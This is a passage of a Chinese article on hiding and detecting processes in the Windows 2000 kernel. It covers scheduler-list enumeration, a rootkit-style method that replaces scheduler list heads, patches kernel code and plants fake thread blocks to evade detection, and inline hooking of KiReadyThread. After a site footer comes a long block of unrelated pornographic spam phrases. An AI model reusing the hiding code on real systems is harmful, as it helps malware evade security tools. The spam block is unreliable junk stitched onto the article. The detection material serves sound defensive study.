+12cstruct_KAPC_STATE*ApcStatePointer[2]

+134charPreviousMode

+135byteEnableStackSwap

+136byteLargeStack

+137byteResourceIndex

+138uint32KernelTime

+13cuint32UserTime

+140struct_KAPC_STATESavedApcState

+158byteAlertable

+159byteApcStateIndex

+15abyteApcQueueable

+15bbyteAutoAlignment

+15cvoid*StackBase

+160struct_KAPCSuspendApc

+190struct_KSEMAPHORESuspendSemaphore

+1a4struct_LIST_ENTRYThreadListEntry

+1accharFreezeCount

+1adcharSuspendCount

+1aebyteIdealProcessor

+1afbyteDisableBoost

在偏移0x5c處有一個(gè)WaitListEntry成員,這個(gè)就是用來鏈接到線程調(diào)度鏈表的。在偏移0x34處有一個(gè)ApcState成員結(jié)構(gòu),在ApcState中的Process域就是指向當(dāng)前線程關(guān)聯(lián)的進(jìn)程的KPROCESS塊,由于KPROCESS塊是EPROCESS塊的第一個(gè)元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當(dāng)前線程的進(jìn)程的名字,ID號等。

2.線程調(diào)度

在windows系統(tǒng)中,線程調(diào)度主要分成三條主要的調(diào)度鏈表。分別是KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當(dāng)線程獲得CPU執(zhí)行的時(shí)候,系統(tǒng)分配一,,個(gè)時(shí)間片給線程,當(dāng)發(fā)生一次時(shí)鐘中斷就從分配的時(shí)間片上減去一個(gè)時(shí)鐘中斷的值,如果這個(gè)值小于零了也就是時(shí)間片用完了,那么這個(gè)線程根據(jù)其優(yōu)先級載入到相應(yīng)的就緒隊(duì)列末尾。KiDispatcherReadyListHead是一個(gè)數(shù)組鏈的頭部,在windows2000中它包含有32個(gè)隊(duì)列,分別對應(yīng)線程的32個(gè)優(yōu)先級。如果線程因?yàn)橥?,或者是對外設(shè)請求,那么阻塞線程,讓出CPU的所有權(quán),加如到阻塞隊(duì)列里面去。CPU從就緒隊(duì)列里面,按照優(yōu)先權(quán)的前后,重新調(diào)度新的線程的執(zhí)行。當(dāng)阻塞隊(duì)列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊(duì)列里面等待執(zhí)行。

3.通過線程調(diào)度鏈表進(jìn)行隱藏進(jìn)程的檢測

voidDisplayList(PLIST_ENTRYListHead)

{

PLIST_ENTRYList=ListHead->Flink;

if(List==ListHead)

{

//DbgPrint("return\n");

return;

}

PLIST_ENTRYNextList=List;

while(NextList!=ListHead)

{

PKTHREADThread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry);

PKPROCESSProcess=Thread->ApcState.Process;

PEPROCESSpEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

NextList=NextList->Flink;

}

}

以上是對一條鏈進(jìn)行進(jìn)程枚舉。所以我們必須找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他們都沒有被ntoskrnl.exe導(dǎo)出來,所以只有通過硬編碼的辦法給他們賦值。通過內(nèi)核調(diào)試器,能找到(windows2000sp4):

PLIST_ENTRYKiWaitInListHead=(PLIST_ENTRY)0x80482258;

PLIST_ENTRYKiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;

PLIST_ENTRYKiWaitOutListhead=(PLIST_ENTRY)0x80482808;

遍歷所有的線程調(diào)度鏈表。

for(i=0;i<32;i++)

{

DisplayList(KiDispatcherReadyListHead+i);

}

DisplayList(KiWaitInListHead);

DisplayList(KiWaitOutListhead);

通過上面的那一小段核心代碼就能把刪除活動(dòng)進(jìn)程鏈表的隱藏進(jìn)程給查出來。也可以改寫一個(gè)友好一點(diǎn)的驅(qū)動(dòng),加入IOCTL,得到的進(jìn)程信息把打印在DbgView中把它返回給Ring3的應(yīng)用程序,然后應(yīng)用程序?qū)Ψ祷氐臄?shù)據(jù)進(jìn)行處理,和Ring3級由PSAPI得到的進(jìn)程對比,然后判斷是不是有隱藏的進(jìn)程。

4.繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程。

Xfocus上SoBeIt提出了繞過內(nèi)核調(diào)度鏈表進(jìn)程檢測。詳情可以參見原文:

/articles/200404/693.html

由于現(xiàn)在的基于線程調(diào)度的檢測系統(tǒng)都是通過內(nèi)核調(diào)試器得硬編碼來枚舉所有的調(diào)度線程的,所以我們完全可以自己創(chuàng)造一個(gè)那三個(gè)調(diào)度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由于線程調(diào)度的時(shí)候會(huì)用到KiFindReadyThread等內(nèi)核API,在KiFindReadyThread里面又會(huì)去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機(jī)器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。

kd>uKiFindReadyThread+0x48

nt!KiFindReadyThread+0x48:

804313db8d34d5e0224880leaesi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]

很明顯我們可以在機(jī)器碼中看到e0224880,由于它是在內(nèi)存中以byte序列顯示的轉(zhuǎn)換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個(gè)鏈頭。使其系統(tǒng)以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個(gè)鏈表頭的還有一些內(nèi)核API,所以必須找到他們在機(jī)器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統(tǒng)調(diào)度就會(huì)出錯(cuò).系統(tǒng)中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。

申請新的表頭空間:

pNewKiWaitInListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiWaitOutListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiDispatcherReadyListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,32*sizeof(LIST_ENTRY));

下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。

新調(diào)度鏈表的表頭替換:

InitializeListHead(pNewKiWaitInListHead);

把原來的系統(tǒng)鏈表頭摘除,把新的接上去:

pFirstEntry=pKiWaitInListHead->Flink;

pLastEntry=pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink=pFirstEntry;

pNewKiWaitInListHead->Blink=pLastEntry;

pFirstEntry->Blink=pNewKiWaitInListHead;

pLastEntry->Flink=pNewKiWaitInListHead;

剩下的就是在原來的線程調(diào)度鏈表上做文章了使其基于線程調(diào)度檢測系統(tǒng)看不出什么異端.

for(;;)

{

InitializeListHead(pKiWaitInListHead);

for(pEntry=pNewKiWaitInListHead->Flink;

pEntry&&pEntry!=pNewKiWaitInListHead;

pEntry=pEntry->Flink)

{

pETHREAD=(PETHREAD)(((PCHAR)pEntry)-0x5c);

pEPROCESS=(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);

PID=*(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID==0x8)

continue;

pFakeETHREAD=ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD,pETHREAD,sizeof(FAKE_ETHREAD));

InsertHeadList(pKiWaitInListHead,&pFakeETHREAD->WaitListEntry);

}

...休息一段時(shí)間

}

首先每過一小段時(shí)間就把原來的線程調(diào)度鏈表清空,然后遍歷當(dāng)前的線程調(diào)度鏈,判斷鏈中的每一個(gè)KPROCESS塊是不是要屬于要隱藏的進(jìn)程線程,如果是就跳過,不是就自己構(gòu)造一個(gè)ETHREAD塊把當(dāng)前的信息拷貝過去,然后把自己構(gòu)造的ETHREAD塊加入到原來的調(diào)度鏈表中。為什么要自己構(gòu)造一個(gè)ETHREAD?其原因主要有2個(gè),其一為了使檢測系統(tǒng)看起來更可信,如果僅僅清空原來的線程調(diào)度鏈表那么檢測系統(tǒng)將查不出來任何的線程和進(jìn)程信息,

很明顯,這無疑不打自招的說,系統(tǒng)里面已經(jīng)有東西了。其二,如果把自己構(gòu)造的ETHREAD塊掛接在原調(diào)度鏈表中,檢測系統(tǒng)會(huì)訪問掛在原來調(diào)度鏈表上的ETHREAD塊里面的成員,如果不自己構(gòu)造一個(gè)和真實(shí)ETHREAD塊重要信息一樣的塊,那么檢測系統(tǒng)很有可能出現(xiàn)非法訪問,然后就boom蘭屏了。

實(shí)際上所謂的繞過系統(tǒng)檢測僅僅是針對基于線程調(diào)度的檢測進(jìn)程的防御系統(tǒng)而言的,其實(shí)系統(tǒng)依舊在進(jìn)行線程調(diào)度,訪問的是我們新建的鏈表頭部。而檢測系統(tǒng)訪問的是原來的頭部,他后面的數(shù)據(jù)項(xiàng)是我們自己申請的,系統(tǒng)并不訪問。

5.檢測繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程

一般情況下我們是通過內(nèi)核調(diào)試器得到那三條鏈表的內(nèi)核地址,然后進(jìn)行枚舉。這就給隱藏者留下了機(jī)會(huì),如上面所示。但是我們完全可以把上面那種隱藏進(jìn)程檢測出來。我們也通過在內(nèi)核函數(shù)中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經(jīng)看見了KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內(nèi)核調(diào)度鏈表檢測辦法同時(shí)也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統(tǒng)完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead,KiWaitOutListhead也都到使用他們的相應(yīng)的內(nèi)核函數(shù)里面去取得地址。就算原地址被修改過,我們也能把修改過后的調(diào)度鏈表頭給找出來。所以欺騙就不行了。

Hook內(nèi)核函數(shù)(KiReadyThread)檢測進(jìn)程

1.介紹通用Hook內(nèi)核函數(shù)的方法

當(dāng)我們要攔截目標(biāo)函數(shù)的時(shí)候,只要修改原函數(shù)頭5個(gè)字節(jié)的機(jī)器代碼為一個(gè)JMPXXXXXXXX(XXXXXXXX是距自己的Hook函數(shù)的偏移量)就行了。并且保存原來修改前的5個(gè)字節(jié)。在跳入原函數(shù)時(shí),恢復(fù)那5個(gè)字節(jié)即可。

charJmpMyCode[]={0xE9,0x00,0x00,0x00,0x00};//E9對應(yīng)Jmp偏移量指令

*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量

memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼

memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個(gè)命令為一個(gè)跳轉(zhuǎn)指令

在系統(tǒng)內(nèi)核級中,MS的很多信息都沒公開,包括函數(shù)的參數(shù)數(shù)目,每個(gè)參數(shù)的類型等。在系統(tǒng)內(nèi)核中,訪問了大量的寄存器,而很多寄存器的值,是上層調(diào)用者提供的。如果值改變系統(tǒng)就會(huì)變得不穩(wěn)定。很可能出現(xiàn)不可想象的后果。另外有時(shí)候?qū)π枰狧ook的函數(shù)的參數(shù)不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導(dǎo)致藍(lán)屏。所以Hook的最佳原則是在自己的Hook函數(shù)中呼叫原函數(shù)的時(shí)候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數(shù)中不會(huì)出錯(cuò)。一般我們自己的Hook的函數(shù)都是寫在C文件里面的。例如Hook的目標(biāo)函數(shù)KiReadyThread。那么一般就自己實(shí)現(xiàn)一個(gè):

MyKiReadyThread(...)

{

......

callKiReadyThread

......

}

但是用C編譯器編譯出來的代碼會(huì)出現(xiàn)一個(gè)堆棧幀:

Pushebp

movebp,esp

這就和我們的初衷不改變寄存器的數(shù)違背了。所以我們可以自己用匯編來實(shí)MyKiReadyThread。

_MyKiReadyThread@0proc

pushad;保存通用寄存器

call_cfunc@0;這里是在進(jìn)入原來函數(shù)前進(jìn)行的一些處理。

popad;恢復(fù)通用寄存器

pusheax

moveax,[esp+4];得到系統(tǒng)在call目標(biāo)函數(shù)時(shí)入棧的返回地址。

movds:_OrgRet,eax;保存在一個(gè)臨時(shí)變量中

popeax

mov[esp],retaddr;把目標(biāo)函數(shù)的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續(xù)的處理

jmp_OrgDestFunction;跳到原目標(biāo)函數(shù)中

retaddr:

pushad;原函數(shù)處理完后保存寄存器

call_HookDestFunction@0;再Hook

popad;回復(fù)寄存器

jmpds:_OrgRet;跳到系統(tǒng)調(diào)用目標(biāo)函數(shù)的下一條指令。

_MyKiReadyThread@0endp

在實(shí)現(xiàn)了Hook過后在當(dāng)調(diào)用原來的函數(shù)時(shí)(jmp_OrgDestFunction),這個(gè)時(shí)候所以寄存器的值和堆棧信息和沒Hook的時(shí)候一樣。在返回到系統(tǒng)的時(shí)候(jmpds:_OrgRet),這個(gè)時(shí)候的堆棧信息和寄存器的值和沒有Hook的時(shí)候也是一樣。就說是中間Hook層對下面和上面都是透明的。

2.檢測隱藏進(jìn)程

在線程調(diào)度搶占的的時(shí)候會(huì)調(diào)用KiReadyThread,它的原型為:

VOIDFASTCALLKiReadyThread(INPRKTHREADThread);

在進(jìn)入KiReadyThread時(shí),ecx指向Thread。所以完全可以HookKiReadyThread然后用ecx的值得到但前線程的進(jìn)程信息。KiReadyThread沒被ntosknrl.exe導(dǎo)出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。

voidcfunc(void)

{

ULONGPKHeader=0;

__asm

{

movPKHeader,ecx//ecx寄存器是KiReadyThread中的PRKTHREAD參數(shù)

}

ResumeDestFunction();//恢復(fù)頭5個(gè)字節(jié)

if(PKHeader!=0)

{

DisplayName((PKTHREAD)PKHeader);

}

}

cfun是Hook函數(shù)調(diào)用用來得到當(dāng)前線程搶占的進(jìn)程信息的。

voidDisplayName(PKTHREADThread)

{

PKPROCESSProcess=Thread->ApcState.Process;

PEPROCESSpEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

}

voidHookDestFunction()//設(shè)置頭個(gè)字節(jié)為一個(gè)跳轉(zhuǎn)指令,跳到自己的函數(shù)中去

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,JmpMyCode,5);

EnableWriteProtect(orgcr0);

}

voidResumeDestFunction()//恢復(fù)頭5個(gè)字節(jié)

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,OrgCode,5);

EnableWriteProtect(orgcr0);

}

除了KiReadyThread其他還可以Hook其他內(nèi)核函數(shù),只有hook過后能得到線程或者是進(jìn)程的ETHREAD或者是EPROCESS結(jié)構(gòu)頭地址。其Hook的方法都是一樣的。HookKiReadyThread基本原來說明了,詳細(xì)實(shí)現(xiàn)可以見我的另外一篇文章《內(nèi)核級利用通用Hook函數(shù)方法檢測進(jìn)程》。

結(jié)論

以上對內(nèi)核級進(jìn)程隱藏和偵測做了一個(gè)總結(jié)和對每一種方法的原理進(jìn)行的詳細(xì)闡述,并給出了核心的實(shí)現(xiàn)代碼。

信息安全將是未來發(fā)展的一個(gè)重點(diǎn),攻擊和偵測都有一個(gè)向底層靠攏的趨勢。進(jìn)程隱藏和偵測只是信息安全中的很小的一個(gè)部分。未來病毒和反病毒底層化是一個(gè)不可逆轉(zhuǎn)的事實(shí)。通過對系統(tǒng)系統(tǒng)底層分析能更好的了解病毒技術(shù),從而能夠有效的進(jìn)行查殺。為以后從事信息安全方面的研究奠定一個(gè)好的基礎(chǔ)。

免责声明:以上文章内容均来源于本站老师原创或网友上传,不代表本站观点,与本站立场无关,仅供学习和参考。本站不是任何杂志的官方网站,直投稿件和出版请联系出版社。

工信部备案:蜀ICP备18023296号-3川公网安备51010802001409 出版物经营许可证:新出发蓉零字第CH-B061号 统一信用码:91510108MA6CHFDC3Q © 版权所有:四川好花科技有限公司

免责声明:本站持有《出版物经营许可证》,主要从事期刊杂志零售,不是任何杂志官网,不涉及出版事务,特此申明。

在线服务

文秘服务 AI帮写作 润色服务 论文发表

高清午夜精品一区二区三区 | 日韩av在线大香蕉| 婷婷精品国产亚洲av在线| 欧美激情国产日韩精品一区| 久久人妻av系列| 干丝袜人妻中文字幕| 99久国产av精品国产电影| 欧美xxxx黑人xx丫x性爽| 国产成年人精品一区二区| 婷婷精品国产亚洲av在线| 高清午夜精品一区二区三区 | 亚洲无线观看免费| 午夜视频国产福利| 天堂网av新在线| 午夜精品国产一区二区电影 | 真人做人爱边吃奶动态| www日本黄色视频网| 亚洲电影在线观看av| 亚洲国产精品合色在线| 熟女电影av网| 午夜福利在线观看免费完整高清在 | 深夜精品福利| 久久中文看片网| 久久综合国产亚洲精品| 亚洲精品影视一区二区三区av| 简卡轻食公司| 非洲黑人性xxxx精品又粗又长| av在线天堂中文字幕| 久久人人爽人人爽人人片va| 亚洲自偷自拍三级| 久久久久久久久大av| 热99在线观看视频| 日韩制服骚丝袜av| avwww免费| 久久久成人免费电影| 久久精品国产亚洲av天美| 日韩在线高清观看一区二区三区| 亚洲国产精品国产精品| 极品教师在线视频| 亚洲av电影不卡..在线观看| 99热这里只有是精品在线观看| 国产精品美女特级片免费视频播放器| 日韩 亚洲 欧美在线| 午夜激情福利司机影院| 乱系列少妇在线播放| 老司机影院成人| 久久国内精品自在自线图片| 精品一区二区三区视频在线| 在线免费十八禁| 成年免费大片在线观看| 国产91av在线免费观看| 国产v大片淫在线免费观看| 99久国产av精品| 99热6这里只有精品| 国产麻豆成人av免费视频| 免费观看的影片在线观看| 免费观看的影片在线观看| 一本一本综合久久| 97热精品久久久久久| 99在线视频只有这里精品首页| 麻豆国产av国片精品| 欧美xxxx黑人xx丫x性爽| 18禁裸乳无遮挡免费网站照片| 欧美成人一区二区免费高清观看| 国内精品宾馆在线| 国产人妻一区二区三区在| 在线看三级毛片| 啦啦啦啦在线视频资源| 老司机福利观看| av在线老鸭窝| 国产激情偷乱视频一区二区| 看黄色毛片网站| 亚洲精华国产精华液的使用体验 | 国产麻豆成人av免费视频| 少妇人妻精品综合一区二区 | 偷拍熟女少妇极品色| 精品免费久久久久久久清纯| 精品久久久久久久末码| 性插视频无遮挡在线免费观看| 最近手机中文字幕大全| 最近在线观看免费完整版| 日韩 亚洲 欧美在线| 久久久国产成人精品二区| 亚洲不卡免费看| 免费人成在线观看视频色| 国产精品不卡视频一区二区| 少妇高潮的动态图| 欧美三级亚洲精品| 国产免费一级a男人的天堂| 嫩草影视91久久| 亚洲真实伦在线观看| 国产av在哪里看| 黄片wwwwww| 久久中文看片网| 嫩草影视91久久| 不卡一级毛片| 久久欧美精品欧美久久欧美| 国产精品久久久久久亚洲av鲁大| 五月伊人婷婷丁香| 精品乱码久久久久久99久播| 美女xxoo啪啪120秒动态图| 午夜老司机福利剧场| 国产麻豆成人av免费视频| 精品99又大又爽又粗少妇毛片| 黄色欧美视频在线观看| 久久久欧美国产精品| 欧美激情国产日韩精品一区| 国产熟女欧美一区二区| 中文字幕av成人在线电影| 日韩制服骚丝袜av| 精品久久久久久久久av| 一区二区三区四区激情视频 | 久久天躁狠狠躁夜夜2o2o| 国模一区二区三区四区视频| 美女 人体艺术 gogo| 亚洲av不卡在线观看| 一级毛片aaaaaa免费看小| 成人高潮视频无遮挡免费网站| 国产亚洲精品久久久久久毛片| 大型黄色视频在线免费观看| 精品国产三级普通话版| 亚洲成人久久性| 日本与韩国留学比较| 亚洲欧美精品自产自拍| 亚洲真实伦在线观看| 99久久精品热视频| 国产精品爽爽va在线观看网站| 亚洲av熟女| 麻豆成人午夜福利视频| 国产v大片淫在线免费观看| 啦啦啦观看免费观看视频高清| 精品福利观看| ponron亚洲| 少妇丰满av| 男女边吃奶边做爰视频| 天天躁日日操中文字幕| 美女 人体艺术 gogo| 中文字幕免费在线视频6| 国产欧美日韩精品一区二区| 国语自产精品视频在线第100页| 国产乱人视频| 久久精品国产清高在天天线| 一级毛片电影观看 | 亚洲国产精品合色在线| 日韩一本色道免费dvd| 热99在线观看视频| 久久久久久国产a免费观看| 性插视频无遮挡在线免费观看| 最近2019中文字幕mv第一页| 老女人水多毛片| 精品少妇黑人巨大在线播放 | 99久国产av精品| 黄色欧美视频在线观看| 又黄又爽又免费观看的视频| 麻豆久久精品国产亚洲av| 村上凉子中文字幕在线| 美女黄网站色视频| 男女之事视频高清在线观看| 能在线免费观看的黄片| av在线老鸭窝| 日韩精品中文字幕看吧| av中文乱码字幕在线| 久久久久久久久大av| 久久综合国产亚洲精品| 麻豆成人午夜福利视频| 成年av动漫网址| 日韩在线高清观看一区二区三区| 身体一侧抽搐| 热99在线观看视频| 国产av在哪里看| 中出人妻视频一区二区| 久久人妻av系列| 级片在线观看| 欧美极品一区二区三区四区| 免费搜索国产男女视频| 女生性感内裤真人,穿戴方法视频| 观看美女的网站| 午夜激情福利司机影院| 亚洲第一电影网av| 小蜜桃在线观看免费完整版高清| 精品福利观看| av在线观看视频网站免费| 日本 av在线| 露出奶头的视频| 99久国产av精品国产电影| 一级av片app| 大又大粗又爽又黄少妇毛片口| 国产成人一区二区在线| 最好的美女福利视频网| 久久精品国产亚洲av香蕉五月| 丰满乱子伦码专区| 最后的刺客免费高清国语| 男人狂女人下面高潮的视频| 欧美潮喷喷水| 成年版毛片免费区| 国产精品久久久久久亚洲av鲁大| 97超视频在线观看视频| 中国美女看黄片| 欧美+亚洲+日韩+国产| 成人亚洲欧美一区二区av| 波多野结衣高清无吗| 99热只有精品国产| 美女内射精品一级片tv| 成人鲁丝片一二三区免费| 国产探花在线观看一区二区| 九九在线视频观看精品| 国产一区二区在线观看日韩| 美女xxoo啪啪120秒动态图| 国产精华一区二区三区| 中出人妻视频一区二区| 18+在线观看网站| 嫩草影视91久久| 国产成年人精品一区二区| 免费观看人在逋| 一本一本综合久久| 在线播放国产精品三级| 日韩欧美在线乱码| 欧美日韩综合久久久久久| 大型黄色视频在线免费观看| 99久久精品热视频| 男女之事视频高清在线观看| 非洲黑人性xxxx精品又粗又长| 国产精品电影一区二区三区| 夜夜看夜夜爽夜夜摸| 热99在线观看视频| 国产黄色小视频在线观看| 最近的中文字幕免费完整| 级片在线观看| 精品少妇黑人巨大在线播放 | 能在线免费观看的黄片| 国产精品永久免费网站| 欧美激情国产日韩精品一区| 日韩人妻高清精品专区| 高清日韩中文字幕在线| 欧美一区二区亚洲| 最近的中文字幕免费完整| 欧美最黄视频在线播放免费| 国产精品1区2区在线观看.| 亚洲欧美日韩无卡精品| 国产一区二区亚洲精品在线观看| 亚洲av熟女| 日本黄色片子视频| 可以在线观看毛片的网站| 国产高清不卡午夜福利| 97人妻精品一区二区三区麻豆| 日韩强制内射视频| 美女cb高潮喷水在线观看| 日本三级黄在线观看| 国产伦在线观看视频一区| 天天躁夜夜躁狠狠久久av| 国产欧美日韩精品亚洲av| 一级毛片我不卡| 国产久久久一区二区三区| 日本熟妇午夜| 午夜影院日韩av| 久久精品综合一区二区三区| 日本一二三区视频观看| 国产精品久久久久久久久免| 麻豆一二三区av精品| 精品一区二区三区人妻视频| 亚洲综合色惰| 一区二区三区免费毛片| 国产精品久久久久久久久免| 少妇的逼水好多| 国内少妇人妻偷人精品xxx网站| 免费高清视频大片| 久久韩国三级中文字幕| 免费在线观看成人毛片| 欧美最黄视频在线播放免费| 国内精品美女久久久久久| 久久精品国产清高在天天线| 亚洲婷婷狠狠爱综合网| 亚洲精品456在线播放app| 欧美日韩国产亚洲二区| 日本与韩国留学比较| a级毛片免费高清观看在线播放| 少妇人妻精品综合一区二区 | 精品欧美国产一区二区三| 国产在视频线在精品| 日韩,欧美,国产一区二区三区 | 国产单亲对白刺激| 免费人成在线观看视频色| 国产三级中文精品| 久久久久久国产a免费观看| 别揉我奶头~嗯~啊~动态视频| 99热这里只有是精品50| 亚洲精品一卡2卡三卡4卡5卡| 精品国产三级普通话版| 欧美激情在线99| 欧洲精品卡2卡3卡4卡5卡区| 国产精品1区2区在线观看.| 亚洲欧美成人综合另类久久久 | 小说图片视频综合网站| 国产精品av视频在线免费观看| av在线播放精品| 欧美成人精品欧美一级黄| 大香蕉久久网| 男女做爰动态图高潮gif福利片| 少妇猛男粗大的猛烈进出视频 | 淫秽高清视频在线观看| 国产麻豆成人av免费视频| 国产激情偷乱视频一区二区| 精品人妻偷拍中文字幕| 国产一区二区激情短视频| 国产成人aa在线观看| av专区在线播放| 永久网站在线| 亚洲熟妇中文字幕五十中出| 久久午夜亚洲精品久久| 老师上课跳d突然被开到最大视频| 精品福利观看| 久久这里只有精品中国| 午夜老司机福利剧场| 国产aⅴ精品一区二区三区波| 九九在线视频观看精品| 亚洲国产精品国产精品| 欧美高清成人免费视频www| 国产精品综合久久久久久久免费| 国产一区二区在线av高清观看| 国产真实乱freesex| 欧美一级a爱片免费观看看| 国产高潮美女av| 露出奶头的视频| a级毛色黄片| 特级一级黄色大片| 久久婷婷人人爽人人干人人爱| 午夜免费激情av| 少妇的逼水好多| 12—13女人毛片做爰片一| 天堂动漫精品| 中文字幕精品亚洲无线码一区| 一级毛片aaaaaa免费看小| 不卡一级毛片| 国产黄a三级三级三级人| 国产亚洲精品久久久com| 成人综合一区亚洲| 日韩av不卡免费在线播放| 欧美一区二区国产精品久久精品| 日韩 亚洲 欧美在线| 欧美人与善性xxx| 亚洲成人中文字幕在线播放| 亚洲av熟女| 亚洲av成人精品一区久久| 日韩av不卡免费在线播放| 日韩成人av中文字幕在线观看 | 国产乱人视频| 综合色丁香网| 精品久久久久久成人av| 寂寞人妻少妇视频99o| 噜噜噜噜噜久久久久久91| 国产v大片淫在线免费观看| 99视频精品全部免费 在线| 国产精品一区二区三区四区久久| 亚洲欧美清纯卡通| 淫妇啪啪啪对白视频| 97碰自拍视频| 嫩草影院新地址| 欧美国产日韩亚洲一区| 亚洲一区二区三区色噜噜| 中国国产av一级| 亚洲图色成人| 日韩精品青青久久久久久| 免费人成视频x8x8入口观看| av黄色大香蕉| 人人妻,人人澡人人爽秒播| 日日干狠狠操夜夜爽| 亚洲天堂国产精品一区在线| 国内精品美女久久久久久| 国产精品女同一区二区软件| 成熟少妇高潮喷水视频| 国产高清视频在线播放一区| 欧美一区二区亚洲| 尤物成人国产欧美一区二区三区| 成人av一区二区三区在线看| 淫秽高清视频在线观看| 中出人妻视频一区二区| 小说图片视频综合网站| 久久久精品94久久精品| 91精品国产九色| 国产精品亚洲一级av第二区| 亚洲av免费在线观看| 国产精品一二三区在线看| 成人亚洲欧美一区二区av| 亚洲精品国产成人久久av| 亚洲美女搞黄在线观看 | 亚洲婷婷狠狠爱综合网| 成人综合一区亚洲| 美女免费视频网站| videossex国产| 美女被艹到高潮喷水动态| www日本黄色视频网| 免费人成视频x8x8入口观看| 亚洲人成网站高清观看| 99国产极品粉嫩在线观看| 中国美女看黄片| 亚洲av中文字字幕乱码综合| 一级a爱片免费观看的视频| 午夜精品在线福利| 内射极品少妇av片p| 久久久久久久久久黄片| 国产中年淑女户外野战色| 欧美人与善性xxx| 亚洲综合色惰| aaaaa片日本免费| 99视频精品全部免费 在线| a级毛片免费高清观看在线播放| 精品日产1卡2卡| 国产午夜福利久久久久久| av在线天堂中文字幕| 最近最新中文字幕大全电影3| 色在线成人网| 成人av在线播放网站| 变态另类成人亚洲欧美熟女| 一级毛片久久久久久久久女| 日韩欧美国产在线观看| 国产男靠女视频免费网站| 亚洲欧美清纯卡通| 亚洲性久久影院| 我的女老师完整版在线观看| 麻豆精品久久久久久蜜桃| 夜夜看夜夜爽夜夜摸| 成人漫画全彩无遮挡| 精品人妻一区二区三区麻豆 | 国产欧美日韩精品亚洲av| 女的被弄到高潮叫床怎么办| 人妻夜夜爽99麻豆av| 毛片一级片免费看久久久久| 成人精品一区二区免费| 日韩制服骚丝袜av| 久久久国产成人免费| 成人亚洲欧美一区二区av| 舔av片在线| 国产成人a区在线观看| 亚洲精品成人久久久久久| 1024手机看黄色片| 伦理电影大哥的女人| 国产黄a三级三级三级人| 亚洲不卡免费看| 蜜臀久久99精品久久宅男| 国产亚洲av嫩草精品影院| 一个人看视频在线观看www免费| 亚洲熟妇中文字幕五十中出| 亚洲精品乱码久久久v下载方式| 人人妻,人人澡人人爽秒播| 国模一区二区三区四区视频| 特级一级黄色大片| 国产亚洲91精品色在线| 蜜桃久久精品国产亚洲av| 国产片特级美女逼逼视频| 1024手机看黄色片| 三级男女做爰猛烈吃奶摸视频| 久久久久久国产a免费观看| 国产精品永久免费网站| 蜜臀久久99精品久久宅男| 禁无遮挡网站| 欧美激情久久久久久爽电影| 色综合站精品国产| 国产在线精品亚洲第一网站| 欧美bdsm另类| 99热全是精品| 身体一侧抽搐| 国模一区二区三区四区视频| 熟妇人妻久久中文字幕3abv| 国产精品三级大全| 老师上课跳d突然被开到最大视频| 精品人妻视频免费看| 成人av在线播放网站| 国产老妇女一区| 亚洲aⅴ乱码一区二区在线播放| 在线播放无遮挡| 有码 亚洲区| 男女那种视频在线观看| 一a级毛片在线观看| 免费在线观看成人毛片| 12—13女人毛片做爰片一| 一级毛片我不卡| 黄色一级大片看看| 国产精品女同一区二区软件| 国产伦精品一区二区三区四那| 久久久久久久久大av| 老司机福利观看| 人人妻,人人澡人人爽秒播| 亚洲欧美日韩高清专用| 亚洲专区国产一区二区| 搡老妇女老女人老熟妇| 97超碰精品成人国产| 麻豆国产97在线/欧美| 精品久久久久久久久久免费视频| 精品国产三级普通话版| 99久国产av精品| 村上凉子中文字幕在线| 